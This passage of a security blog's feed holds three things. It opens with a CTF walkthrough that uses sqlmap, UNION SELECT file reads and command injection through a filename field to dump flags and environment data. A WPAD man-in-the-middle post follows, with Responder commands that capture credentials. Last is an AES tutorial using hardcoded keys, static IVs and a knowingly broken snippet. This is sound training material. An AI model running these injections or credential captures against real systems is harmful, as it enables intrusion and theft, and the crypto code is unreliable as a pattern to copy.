<pre><code class="python language-python">sqlmap -u "http://34.74.105.127/ad3e8c7df9/fetch?id=2"
</code></pre>
<p>This command runs for quite a while and will try to find vulnerabilities in the fetch endpoint.
when we are done we should know what to do next.</p>
<h2 id="gathereddata">Gathered Data</h2>
<h3 id="sqlmapidentifiedthefollowinginjectionpointswithatotalof311httpsrequests">sqlmap identified the following injection point(s) with a total of 311 HTTP(s) requests:</h3>
<pre><code class="python language-python">Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 3567=3567

Type: time-based blind
Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2 AND (SELECT 8480 FROM (SELECT(SLEEP(5)))KHRS)
</code></pre>
<pre><code class="python language-python">[21:44:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL &gt;= 5.0.12 (MariaDB fork)
</code></pre>
<h3 id="ourtargetserver">Our Target Server:</h3>
<pre><code>| Type      | Service      | Version                  | Vulnerable?    |
| --------- | ------------ | ------------------------ | -------------- |
| OS        | Linux Ubuntu | ??                       | not focused    |
| Webserver | Nginx        | 1.14.0                   | no             |
| Database  | MySQL        | &gt;= 5.0.12 (MariaDB fork) | yes (id param) |
</code></pre>
<p>Good, we got something, we know the server is vulnerable to multiple vulnerabilities such as a 'boolean base blind'. We also found the Webserver is Nginx v1.14.0, which sadly has no usable vulnerabilities here. But with us now knowing the exact os and DB System used lets run sqlmap again with that info and see what we get.</p>
<pre><code class="python language-python">sqlmap -u "http://34.74.105.127/ad3e8c7df9/fetch?id=2" -f --os=linux --dbms=mysql --level=3 -o
</code></pre>
<p>we dont really get any more useful information from here.
soo.. were kinda stuck lets just get another hint then:</p>
<blockquote>
  <p>Hint 2: <em>Take a few minutes to consider the <strong>state of the union</strong></em></p>
</blockquote>
<p>The state uf the union? are they hinting on using UNION statements in the query?
<em>The UNION operator is used to combine the result-set of two or more SELECT statements.</em>
That seems like somethng we can make use of, so lets try and combine our query statements f.e. like this:</p>
<p><code>http://34.74.105.127/ad3e8c7df9/fetch?id=2 UNION SELECT 'something'</code></p>
<p>but what do we look for? Lets get another hint.</p>
<blockquote>
  <p>Hint 3: <em>This application runs on the <strong>uwsgi-nginx-flask-docker</strong> image</em></p>
</blockquote>
<p>uwsgi-nginx? hmm havent heard of that, but sems to be some kind of portable all in one flask. lets look for the docs.</p>
<p>https://uwsgi-docs.readthedocs.io/en/latest/Configuration.html#ini-files</p>
<blockquote>
  <p>uWSGI can be configured using several different methods.</p>
</blockquote>
<p>YAML, JSON, INI are some supported formats -&gt; ini beeing the defualt so lets try getting the 'uwsgi.ini' file?</p>
<p><img src="/hackerone/union-select-ini.png" alt="union select wiht burp repeater" title="union select wiht burp repeater" /></p>
<p>this returns us some configdata pointing to module main which is the entrypoint.</p>
<pre><code class="python language-python">[uwsgi]
module = main
callable = app
</code></pre>
<p>so lets see if we can also fethc the main.py</p>
<pre><code class="python language-python">http://35.190.155.168/c947e97f6e/fetch?id=4%20UNION%20SELECT%20%27main.py%27--
</code></pre>
<p>Here we get lots of infos our <strong>first FLAG</strong> and the db connection settings:</p>
<h3 id="flag0">FLAG 0:</h3>
<pre><code class="python language-python">%s
' % (pid, sanitize(ptitle)) fns.append(pfn) rep += 'Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '' rep += '
\n' return home.replace('$ALBUMS$', rep) @app.route('/fetch') def fetch(): cur = getDb().cursor() if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: abort(404)
# It's dangerous to go alone, take this: # ^FLAG^9e6d57c394c129??????????????????????????????f74dbf2faa0abd571b32c7$FLAG$ return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read() if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
</code></pre>
<p><code>return MySQLdb.connect(host="localhost", user="root", password="", db="level5")</code></p>
<p>we also see that they are using the photos table</p>
<p><code>cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))</code></p>
<p>lets try to fuzz that with sqlmap, since we now know the DB and tables info we can launch a targeted attack.</p>
<pre><code class="python language-python">sqlmap -u "http://34.74.105.127/ad3e8c7df9/fetch?id=1" --method=GET --dump -D level5 -T photos -p id, --code=200 --ignore-code=500 --skip-waf -o --threads 2
</code></pre>
<p>This can take quite a while.. for me it crashed after 40 minutes, so i gave it another go with just focusing on the column <code>filename</code> since, here is the value we need.we do this by adding the -C parameter, i also increased the thradcount to 4 to try and get faster results. I also changed the url to contain id=3 since this is the id we want to get the info from.</p>
<pre><code class="python language-python">sqlmap -u "http://35.190.155.168/c947e97f6e/fetch?id=3" --method=GET --dump -D level5 -T photos -p id, --code=200 --ignore-code=500 --skip-waf -o --threads 4 -C filename
</code></pre>
<p>This means that sqlmap will start with the filename of id=3 which is exactly what we want right now.</p>
<p><img src="/hackerone/photo-gallery-hash.png" alt="starts to query filename of id 3" title="query on the filename of id 3" />
So lets have a look at our results:</p>
<pre><code class="python language-python">Database: level5
Table: photos
[3 entries]
+------------------------------------------------------------------+
| filename |
+------------------------------------------------------------------+
| 9ef8fc5da15625db993f1c8e120beafc6873d801a804670b9497ecc782ca11fa |
| files/adorable.jpg |
| files/purrfect.jpg |
+------------------------------------------------------------------+
</code></pre>
<blockquote>
  <p>you might be getting partial values like so:
  <code>9ef8fc5di15625db993f1c8e120beafc6873d801a804670?????????????????</code>
  you should be able to re-run sqlmap to find the missing characters
  <code>9ef8fc5da15625db993f1c8e120beafc6873d801a804670b9497ecc782ca11fa</code></p>
</blockquote>
<p>decrypted: <code>\*||+ls+-a+tmp.txt</code>
another file! nice lets try and get that with a UNION STATEMENT request like so:</p>
<p><code>GET /ad3e8c7df9/fetch?id=4 UNION SELECT 'tmp.txt'-- HTTP/1.1</code>
hmm no luck it seems… let's do it another way.</p>
<p>From our previous findings we know that files are in the 'files' directory and that we can run sql statements on the id param. So we want to try to move the file or its contents so we can access it. We also got a new hint of using ls output to find temp file.</p>
<p>We want to run following statements via the vulnerable param:</p>
<h4 id="lsinthefilesdirectoryandstoredatainbigwintxt">ls in the /files directory and store data in bigWin.txt</h4>
<p><code>update photos set filename='* || ls ./files &gt;bigWin.txt ' where id=3; commit;</code></p>
<p><code>GET /ad3e8c7df9/fetch?id=1;%20update%20photos%20set%20filename=%27\*%20||%20ls%20./files%20%3EbigWin.txt%20%27%20where%20id=3;%20commit;%20-- HTTP/1.1</code></p>
<h4 id="storeallenvdatainbigwintxtbecausesooftenflagsarehere">store all env data in bigWin.txt (because so often flags are here)</h4>
<p><code>update photos set filename='* || env &gt;bigWin.txt' where id=3; commit;</code></p>
<p><code>GET /ad3e8c7df9/fetch?id=1;%20update%20photos%20set%20filename%3D%27*%20%7C%7C%20env%20%3Etmp.txt%27%20where%20id%3D3%3B%20commit%3B%20-- HTTP/1.1</code></p>
<p>after you succsessfully ran those you should be able to run the union select again to get ahold of bigWin.txt!</p>
<p><code>GET /ad3e8c7df9/fetch?id=4 UNION SELECT 'bigWin.txt'-- HTTP/1.1</code></p>
<p>Tadaa!! we got it all.</p>
<pre><code class="bash language-bash">"^FLAG^9ef8fc5da15????????????????????????????????????????????782ca11fa$FLAG$"
"^FLAG^63a407d0083????????????????????????????????????????????4564ee9f2$FLAG$"
HOSTNAME=ad3e8c7df92d
SHLVL=0
</code></pre>]]></description><link>https://dev.lwlx.xyz/blog/blog/hacker101-ctf-photo-gallery</link><guid isPermaLink="true">https://dev.lwlx.xyz/blog/blog/hacker101-ctf-photo-gallery</guid><category><![CDATA[ctf]]></category><category><![CDATA[writeup]]></category><category><![CDATA[hackerone]]></category><category><![CDATA[hacker101]]></category><category><![CDATA[security]]></category><dc:creator><![CDATA[lwlx]]></dc:creator><pubDate>Sun, 03 Jan 2021 12:20:31 GMT</pubDate></item><item><title><![CDATA[the cURL cheat sheet]]></title><description><![CDATA[<h1 id="curlwhatisit">cURL What is it?</h1>
<p>cURL describes itself as:</p>
<blockquote>
  <p>command line tool and library for transferring data with URLs</p>
</blockquote>
<p>cURL is a multipurpose networking tool which has lots of useful usecases.</p>
<h1 id="cheatsheet">cheat sheet</h1>
<table>
<thead>
<tr>
<th><strong>Command</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>curl http://lwlx.xyz</code></td>
<td>GET request with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl http://lwlx.xyz -v</code></td>
<td>Verbose GET request with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl http://admin:password@lwlx.xyz/ -vvv</code></td>
<td><code>cURL</code> Basic Auth login</td>
</tr>
<tr>
<td><code>curl -u admin:password http://lwlx.xyz/ -vvv</code></td>
<td>Alternate <code>cURL</code> Basic Auth login</td>
</tr>
<tr>
<td><code>curl -u admin:password -L http://lwlx.xyz/</code></td>
<td><code>cURL</code> Basic Auth login, follow redirection</td>
</tr>
<tr>
<td><code>curl -u admin:password 'http://lwlx.xyz/search.php?port_code=us'</code></td>
<td><code>cURL</code> GET request with parameter</td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L http://lwlx.xyz/login.php</code></td>
<td>POST request with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L http://lwlx.xyz/login.php -v</code></td>
<td>Debugging with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L --cookie-jar /dev/null http://lwlx.xyz/login.php -v</code></td>
<td>Cookie usage with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L --cookie-jar cookies.txt http://lwlx.xyz/login.php</code></td>
<td><code>cURL</code> with cookie file</td>
</tr>
<tr>
<td><code>curl -H 'Content-Type: application/json' -d '{ "username" : "user", "password" : "pass" }'</code></td>
<td><code>cURL</code> specify content type</td>
</tr>
<tr>
<td><code>curl -X OPTIONS http://lwlx.xyz/ -vv</code></td>
<td><code>cURL</code> OPTIONS request</td>
</tr>
<tr>
<td><code>curl -X PUT -d @test.txt http://lwlx.xyz/test.txt -vv</code></td>
<td>File upload with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -X DELETE http://lwlx.xyz/test.txt -vv</code></td>
<td>DELETE method with <code>cURL</code></td>
</tr>
</tbody>
</table>]]></description><link>https://dev.lwlx.xyz/blog/blog/basic-cURL-cheatsheet-lwlx</link><guid isPermaLink="true">https://dev.lwlx.xyz/blog/blog/basic-cURL-cheatsheet-lwlx</guid><category><![CDATA[cheatsheet]]></category><category><![CDATA[commandline]]></category><category><![CDATA[curl]]></category><category><![CDATA[security]]></category><dc:creator><![CDATA[lwlx]]></dc:creator><pubDate>Thu, 31 Dec 2020 12:07:12 GMT</pubDate></item><item><title><![CDATA[MitM using WPAD Proxy Protocol:]]></title><description><![CDATA[<h1 id="whatiswpadwip">What is WPAD? <code>[WIP]</code></h1>
<p>Sometime in the early days of the Internet - the web 1.0 era - a couple of devs at Netscape decided that JavaScript was an acceptable language to write configuration files in. The result was Proxy Auto-Config (PAC) - a configuration file format that works as follows: The browser connects to a pre-configured server, downloads the PAC file, and executes a particular Javascript function to determine proper proxy configuration. Why not? It is more expressive and less tedious than XML and seems reasonable to provide configurations to many clients.</p>
<p>PAC itself works with a protocol called Web Proxy Auto-Discovery (WPAD) WPAD removes the need for the browser or the user to have a pre-configured server to connect to. Instead, WPAD allows the computer to query the local network to discover the server to load the PAC file from.</p>
<h2 id="wpadalwaysfollowsthisschema">WPAD always follows this schema:</h2>
<ol>
<li>Determine if the system should use WPAD, either by looking at browser settings or asking the host OS if the browser is set to match the OS setting.</li>
<li>Ensure a network connection is available.</li>
<li>If WPAD is to be used, issue a DHCPINFORM query to ask for the URL of the PAC script.</li>
<li>If the DHCPINFORM query fails and does not return a URL, perform a DNS lookup for the hostname <code>wpad</code>.</li>
<li>If the DNS lookup succeeds, then the PAC URL is <code>http://wpad/wpad.dat</code>.</li>
<li>Establish an HTTP(S) connection to the discovered URL's server, thus downloading the PAC script.</li>
<li>If the PAC script has downloaded successfully, parse it, and optionally compile it.</li>
<li>For each network request, call the <code>FindProxyForURL()</code> function in the PAC script and use the proxy settings returned from this function.</li>
</ol>
<blockquote>
  <p>WPAD is practically asking the network "Hey there! would you like to send me a <strong>payload</strong> i can <strong>execute</strong>?"</p>
</blockquote>
<p>You can clearly see how a bad actor can abuse this.</p>
<p>Windows is certainly not the only piece of software that implements WPAD. Other operating systems (OS X, Linux) and applications do as well. For example, Google Chrome also has a WPAD implementation, but in Chrome's case, the JavaScript code from the PAC is evaluated inside of a sandbox. Other operating systems that support WPAD don't enable it by default anymore. That is why Windows is currently the most attractive target for this sort of attack.</p>
<h2 id="exploitbasis">Exploit basis</h2>
<p>When a device has these protocols enabled, if the local network DNS cannot resolve the name, the machine will ask the whole network to get a host. So, any host of the network, who knows its IP, can reply. Even if a host replies with incorrect information, it will still be regarded as a legitimate response.</p>
<h1 id="exploitablescenario">Exploitable scenario</h1>
<ol>
<li>victim and host are in the same network</li>
<li>The victim opens the browser, which is configured with the option <code>automatically detect settings</code> in <code>Local Area Network (LAN) Settings</code>.</li>
<li>The name resolution, which is performed with the steps we mentioned earlier, will be questioned on the victim's computer first.</li>
<li>In step 3, because the DNS Server does not have a corresponding record, the system's name is sent as LLMNR or NetBIOS-NS query.</li>
<li>The attacker listens to network traffic, catches name resolution query. It tells to the victim that he has the wpad.dat the victim is look for.</li>
</ol>
<p>According to the flow above, if an attacker wants to make sure that the attack will be successful, he must perform the following attacks:</p>
<ul>
<li>DHCP poisoning attack</li>
<li>DNS poisoning attack</li>
<li>WPAD poisoning attack</li>
</ul>
<!--
# proof of concept

## install Responder

## configure config
-->
<h2 id="startanalyzingfirst">start analyzing first</h2>
<p>using the <code>-A</code> option enables analyze only mode
<strong>macOS:</strong></p>
<pre><code class="shell language-shell">./Responder.py -i &lt;your ip address&gt; -A
</code></pre>
<p><strong>Linux:</strong></p>
<pre><code class="shell language-shell">./Responder.py -I &lt;your net interface&gt; -A
</code></pre>
<h2 id="createpayloadadncustomfindproxyforurl">create payload adn custom FindProxyForURL()</h2>
<h2 id="runtheattack">run the attack:</h2>
<ul>
<li><code>-w</code>: starts WPAD service</li>
<li><code>-f</code>: fingerprints victims</li>
<li><code>-v</code>: verbose output</li>
<li><code>-F</code>: force auth to WPAD service</li>
</ul>
<pre><code class="shell language-shell"> ./Responder.py -i 192.168.1.215 -w -f -v -F
</code></pre>
<p>force basic auth to try and gain user &amp; pass</p>
<ul>
<li><code>-b</code>: force Basic HTTP authentication</li>
</ul>
<pre><code class="shell language-shell"> ./Responder.py -i 192.168.1.215 -w -f -v -b -F
</code></pre>
<p><img src="/wpad-responder-exploit/responder-intercepted.png" alt="Succsessfull WPAD attack" title="Succsessfull WPAD attack, planting a reverse shell on the victim." /></p>
<h1 id="mitigation">Mitigation</h1>
<ul>
<li>Create a DNS entry called "WPAD" that points to the real proxy server.</li>
<li>Disabling automatic proxy discovery in browsers and operating systems.</li>
<li>Configure firewalls and proxies to block and log outbound requests for wpad.dat files.</li>
</ul>
<blockquote>
  <h2 id="wipthisarticleisaworkinprogressandwillbeupdatedwithaproofofconceptsoon"><code>[WIP]</code> This article is a work in progress and will be updated with a proof of concept soon.</h2>
</blockquote>
<!--
## Read more about this topic:

[https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html](https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html)
-->]]></description><link>https://dev.lwlx.xyz/blog/blog/abuse-WPAD-protocol-to-MitM-any-network</link><guid isPermaLink="true">https://dev.lwlx.xyz/blog/blog/abuse-WPAD-protocol-to-MitM-any-network</guid><category><![CDATA[MitM]]></category><category><![CDATA[WPAD]]></category><category><![CDATA[aPAColypse]]></category><category><![CDATA[PAC]]></category><category><![CDATA[exploit]]></category><category><![CDATA[security]]></category><dc:creator><![CDATA[lwlx]]></dc:creator><pubDate>Wed, 18 Nov 2020 12:20:28 GMT</pubDate></item><item><title><![CDATA[Getting consistent Encryption in Node / PHP / Browser and openSSL]]></title><description><![CDATA[<p>I recently was tasked to find a solution for encrypting data in different places and to being able to decrypt them all in a browser during runtime.</p>
<p>Surprisingly, it was much more challenging than expected since there was so little documentation around this online. What was available were a few code-only examples, so I was forced to do R &amp; D and try all implementations and compare the in- &amp; outputs.</p>
<p>Given the lack of a decent out-of-the-box solution, I worry that many developers are settling for easy to use, insecure solutions that limit your project’s security and flexibility. Security should be easy to use and accessible.</p>
<blockquote>
  <p>Clone the repo here to get started with this setup: <a href="https://gist.github.com/Lawlez/88e04e3541cc0608c953a118b86bfc1a">https://gist.github.com/Lawlez/88e04e3541cc0608c953a118b86bfc1a</a></p>
</blockquote>
<p>Okay, so lets assume we use following input data to test each implementation:</p>
<ul>
<li><strong><code>key</code></strong> = '5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9' <code>//must be 256 bits</code></li>
<li><strong><code>iv</code></strong> = '1d6ef201e0e7a9019ddf8414034325e2' <code>//must be 128 bits</code></li>
<li><strong><code>inputData</code></strong> = <code>{"TestData":"w17h Spé^cIäl chàær§¢tèrs", "OK":"://seems/fine?x=lol"}</code></li>
</ul>
<p>Let's quickly run through and test each implementation:</p>
<h2 id="usingnodejscryptomodule">Using Node JS Crypto module</h2>
<p>Node Provides a nice <code>crypto</code> implementation. It's documentation is rather sparse, but this is what most resources suggest by using:</p>
<ul>
<li><code>crypto.randomBytes()</code></li>
<li><code>crypto.createCipheriv()</code></li>
<li><code>crypto.createDecipheriv()</code></li>
</ul>
<pre><code class="javascript language-javascript">const crypto = require('crypto')

/**********************************************************************
*
*        DECRYPTION MODULE FOR USE INSIDE NODE.JS                     *
*
***********************************************************************/

const encryption = (data = 'TestString {} Héllöüä') =&gt; {

   const secretPhrase = crypto.randomBytes(16).toString('hex')
   const salt = crypto.randomBytes(128 / 8).toString('hex')
   //here we generate the key and give it back as a string, we use 100k iterations
   //as suggested in best practices
   //We can use the key multiple times to encrypt multiple things(-30GB), we just cant use
   //the same initialization vector twice
   //the key for aes-256 needs to be 256 bits which equals 32 bytes or 32 characters
   const configKey = crypto.pbkdf2Sync(secretPhrase, salt, 100000, 32, 'sha256').toString('hex').substr(0, 32)
   //create unique IV for each encryption, the key can be reused. IV needs to always be 16 bytes
   const IV = crypto.randomBytes(16)

   //create ciphers for each encryption using the shared key and the unuique IV
   const projectConfigCipher = crypto.createCipheriv('aes-256-cbc', configKey, IV.toString('hex').substr(0,16)

   //encripting the storage location using the prepared cipher
   const encrypted = Buffer.concat([configStorageCipher.update(
       'STORAGE', 'utf8'
   ), configStorageCipher.final()]).toString('hex')

   return encrypted

}
</code></pre>
<blockquote>
  <p>this is <strong>NOT</strong> the final implementation; check below to see it.</p>
</blockquote>
<h3 id="testingtheimplementation">Testing the implementation</h3>
<p>We notice that we need to trim the key to 32bytes and the IV to 16 bytes. This is likely because of the conversion from hex to string after the creation of the key.</p>
<ul>
<li><strong><code>key</code></strong> = '5035ae3567f2e69320b083d59a7364cf' <code>//is now 32 bytes string</code></li>
<li><strong><code>iv</code></strong> = '1d6ef201e0e7a901' <code>//is now 16 bytes string</code></li>
</ul>
<p>This will probably lead to an issue later on since other implementations actually want the longer strings. Maybe we can find a workaround by base64 encoding instead of stringifying the key and iv.</p>
<p>a quick test reveals, yes, we actually can:</p>
<pre><code>const IV = crypto.randomBytes(16)

console.log(IV)
// &lt;Buffer c1 1e 98 84 54 eb 85 f6 b3 d0 51 87 d2 62 80 a7&gt;

console.log(IV.toString('base64'))
// wR6YhFTrhfaz0FGH0mKApw==

console.log(Buffer.from(IV.toString('base64'), 'base64'))
//&lt;Buffer c1 1e 98 84 54 eb 85 f6 b3 d0 51 87 d2 62 80 a7&gt;
</code></pre>
<p>now we could also just create a buffer again from the string to make it 16/32 bytes (ready for usage):</p>
<pre><code>Buffer.from('5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9', 'hex')
//&lt;Buffer 50 35 ae 35 67 f2 e6 93 20 b0 83 d5 9a 73 64 cf 8d 4b 14 e7 7d 7b 79 80 51 24 1c e5 46 b3 27 d9&gt;

Buffer.from('1d6ef201e0e7a9019ddf8414034325e2','hex'))
//&lt;Buffer 1d 6e f2 01 e0 e7 a9 01 9d df 84 14 03 43 25 e2&gt;
</code></pre>
<p>This seems to be a nice solution when you <strong>receive</strong> the key and iv as an input; if we generate it ourselves, however, it better to just avoid the conversion to string after generation that many people use in examples:</p>
<pre><code>// type Buffer, 16 bytes
const IV = crypto.randomBytes(16)

// type Buffer, 32 bytes
const configKey = crypto.pbkdf2Sync(secretPhrase, salt, 100000, 32, 'sha256')
</code></pre>
<p>This key and IV pair can be consumed directly by our ciphers, but we would need to convert it to a hex string first to save and forward them.</p>
<h3 id="sowhatistheoutputofthisfunction">So what is the output of this function?</h3>
<p>The output we received is of type buffer, but when we convert it to a string using <code>toString('hex')</code> we can read the data:</p>
<ul>
<li><strong><code>OUTPUT</code></strong> = '<Buffer f2 fb 62 b1 7e e9 da 0c 8c bd 56 f2 45 a9 87 60 b4 e2 a6 d0 c5 de f1 50 bc 6d 86 00 f8 5d b4 79>' <code>//is 32 bytes</code></li>
<li><strong><code>OUTPUT_Stringified</code></strong> = 'f2fb62b17ee9da0c8cbd56f245a98760b4e2a6d0c5def150bc6d8600f85db479' <code>//is now 64 bytes string</code></li>
<li><strong><code>OUTPUT_Base64</code></strong> = '8vtisX7p2gyMvVbyRamHYLTiptDF3vFQvG2GAPhdtHk=' <code>//is now 44 bytes string</code></li>
</ul>
<p>so using the codes below, we can switch between these three outputs as we like</p>
<pre><code class="javascript language-javascript">//output Buffer
encrypted = Buffer.concat([encrypted, Cipher.final()]);

//output String
encrypted = Buffer.concat([encrypted, Cipher.final()]).toString("hex");

//output Base64
encrypted = Buffer.concat([encrypted, Cipher.final()]).toString("base64");

//revert conversion to base64
Buffer.from(encrypted.toString("base64"), "base64");
</code></pre>
<p>From what we have learned here, I guess the best option is to use the base64 output method since we can easily convert it to a buffer</p>
<h2 id="usingbrowserifyaessnodecryptolikeimplementationinsidethebrowser">Using browserify-aes's node crypto-like implementation inside the Browser</h2>
<p>Inside the browser, we cannot use Nodes.js built-in modules. Using <code>browserify-aes</code> we can use a node-like crypto implementation, which uses the same syntax as the node implementation. In my use case, I only need to decipher in the browser, this means I don’t have to worry about a truly random key generation or ciphering.</p>
<pre><code class="js language-js">import crypto from "browserify-aes";

/**********************************************************************
 *
 *        DECRYPTION MODULE FOR USE IN BROWSER DURING RUNTIME          *
 *
 ***********************************************************************/
const decrypt = (Base64Hash) =&gt; {
  //we use the base64 hash generated by openssl cli as an input
  const Base64Hash =
    "Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUn/ZeYUj1DEBNS2NthignUNR0hw+OOFU7qACKPZbxx8k0Pe0McXNDrOnUtl3dIwdg=";
  const Key =
    "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9";
  const IV = "1d6ef201e0e7a9019ddf8414034325e2";
  const hexToBin = (hex) =&gt; {
    //converts hex strings to binary arr
    for (var bytes = [], c = 0; c &lt; hex.length; c += 2) {
      bytes.push(parseInt(hex.substr(c, 2), 16));
    }
    return bytes;
  };
  //ein neuer cipher wird vorbereitet, mittels aes256, unserem 256 bit KEY und dem config IV
  const decipher = crypto.createDecipheriv(
    "aes256",
    hexToBin(Key),
    hexToBin(IV)
  );

  //der hash wird nun decrypted mittels dem zuvor erstellten cipher
  const decrypted = Buffer.concat([
    decipher.update(Buffer.from(Base64Hash, "base64")),
    decipher.final(),
  ]).toString("utf8");

  return JSON.parse(decrypted);
};
</code></pre>
<ul>
<li><strong><code>OUTPUT</code></strong> = {TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol"} <code>//yes, thats our original input! :D</code></li>
</ul>
<h2 id="encryptiondecryptionmoduleforphp7usingopenssl">ENCRYPTION &amp; DECRYPTION MODULE FOR PHP7+ USING OPENSSL</h2>
<p>In PHP 7 we make use of the <code>openssl_encrypt</code> implementation to encrypt an utf8 string and finally encode it with <code>base64_encode</code>.
For decryption we also make use of the official openssl implementation <code>openssl_decrypt</code>, before decrypting we need to decode using <code>base64_decode</code>.</p>
<pre><code class="php language-php">/**********************************************************************
*
*        ENCRYPTION &amp; DECRYPTION MODULE FOR PHP7+ USING OPENSSL       *
*
***********************************************************************/

class AESEncryption {

   //key length should be 256 bits for aes 256 this means we use a string with 32 bytes
   public static $key = "5f08e0ec585393a8e2ca8f0a1a0ae752";

    //iv length should be always be 128 bit / 16 bytes
   public static $iv = "05d387e7f773035a";

    // The AES uses a block size of sixteen octets (128 bits)
   public static $Method = 'AES-256-CBC';

   /**
     * use the AES to encrypt plaintext data and return a base 64 string
    *
    * $key
    */
   public static function encrypt($cleartext,$key = ''){

       $key = empty($key) ? self::$key : $key;

       $encrypted = openssl_encrypt($cleartext, self::$Method, $key, OPENSSL_RAW_DATA, self::$iv);

       return base64_encode($encrypted);

   }

   /**
     * use the AES to decrypt a base 64 string into plaintext
    *
    * $key
    */
   public static function decrypt($encrypted,$key = ''){

       $key = empty($key) ? self::$key : $key;

       $encrypted = base64_decode($encrypted);

       $decrypted = openssl_decrypt($encrypted, self::$Method, $key, OPENSSL_RAW_DATA, self::$iv);

       return trim($decrypted);
   }
}
</code></pre>
<blockquote>
  <p>while desperately searching for a solution I looked into doing the encryption in PHP instead of openssl, since I scrapped this idea I cannot explain any further. I still keep this PHP 7 example here because its hard to find examples online that don’t use mcrypt.</p>
</blockquote>
<h2 id="usingopensslforuseincli">Using OpenSSL for use in CLI</h2>
<p>Inside of a Command Line Interface, we use <code>openssl</code> do en- or decrypt data.</p>
<p>For node/browserify to be able to decrypt it we need to add the <code>-nosalt</code> option, which disables salting the data.</p>
<pre><code class="bash language-bash">#########################################################################################
#                                                                                       #
#               ENCRYPTION FOR CLI IN / MACOS / LINUX / WINDOWS                         #
#                                                                                       #
#########################################################################################

#encrypt with key &amp; IV but no salt
cat config.json | openssl aes-256-cbc -iv $(cat iv)  -K $(cat key) -A -nosalt -base64

#decrypt with key IV and base64
echo "encryptedString" | openssl aes-256-cbc -d -iv $(cat iv)  -K $(cat key) -base64 -A
</code></pre>
<h3 id="testingtheimplementation-1">testing the implementation</h3>
<p>I created a json file called <code>test.json</code> containing the inputData. so when we run the following command …</p>
<pre><code class="bash language-bash">cat test.json | openssl aes-256-cbc -iv "1d6ef201e0e7a9019ddf8414034325e2"  -K "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9" -A -nosalt
</code></pre>
<p>We get no warnings and an output like this:</p>
<ul>
<li><strong><code>OUTPUT</code></strong> = g??.G?٪a?W????ԝFv?? 0P0+v?'???R=CR??a? ?5!??N?"?e?q?M{C\??:u-?wH?? <code>//weird looking binary data</code></li>
</ul>
<p>as you can see this is not very usefull so we apply the base64 encoding after encryption</p>
<pre><code class="bash language-bash">cat test.json | openssl aes-256-cbc -iv "1d6ef201e0e7a9019ddf8414034325e2"  -K "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9" -A -nosalt -base64
</code></pre>
<ul>
<li><strong><code>OUTPUT_base64</code></strong> = Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUn/ZeYUj1DEBNS2NthignUNR0hw+OOFU7qACKPZbxx8k0Pe0McXNDrOnUtl3dIwdg= <code>//now this looks nice</code></li>
</ul>
<p>now we can also decrypt the just created data like so</p>
<pre><code class="bash language-bash">echo $encryptedData | openssl aes-256-cbc -d -iv "1d6ef201e0e7a9019ddf8414034325e2" -K "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9" -A -base64
</code></pre>
<p>This yields us this output</p>
<ul>
<li><strong><code>OUTPUT</code></strong> = {"TestData":"w17h Spé^cIäl chàær§¢tèrs", "OK":"://seems/fine?x=lol"} <code>//yes, thats our original input! :)</code></li>
</ul>
<h1 id="finalsolution">final solution</h1>
<h2 id="usingnodejsduringinitialbuild">Using NodeJS during initial build</h2>
<p>While building our app this code is responsible for:</p>
<ul>
<li>creating a unique <code>key</code> on every build</li>
<li>creating a unique <code>iv</code> for every object to be encrypted</li>
<li>outputting an encrypted base64 encoded string of data</li>
</ul>
<p>the output needs to be consumed by either:</p>
<ul>
<li>the application during runtime (browserify implementation)</li>
<li>openssl in case of deployment</li>
</ul>
<pre><code class="javascript language-javascript">const crypto = require("crypto");

/**********************************************************************
 *
 *        DECRYPTION MODULE FOR USE INSIDE NODE.JS                     *
 *
 ***********************************************************************/

const encryption = (
  data = { TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol" }
) =&gt; {
  const secretPhrase = crypto.randomBytes(16).toString("hex");
  const salt = crypto.randomBytes(128 / 8).toString("hex");
  //here we generate the key and give it back as a string, we use 100k iterations
  //as suggested in best practices
  //We can use the key multiple times to encrypt multiple things(-30GB), we just cant use
  //the same initialization vector twice
  //the key for aes-256 needs to be 256 bits which equals 32 bytes or 32 characters it is currently of type Buffer
  const configKey = crypto.pbkdf2Sync(secretPhrase, salt, 100000, 32, "sha256");
  //create unique IV for each encryption, the key can be reused. IV needs to always be 16 bytes. it is currently of type buffer
  const IV = crypto.randomBytes(16);

  //create ciphers for each encryption using the shared key and the unuique IV
  const projectConfigCipher = crypto.createCipheriv(
    "aes-256-cbc",
    configKey,
    IV
  );
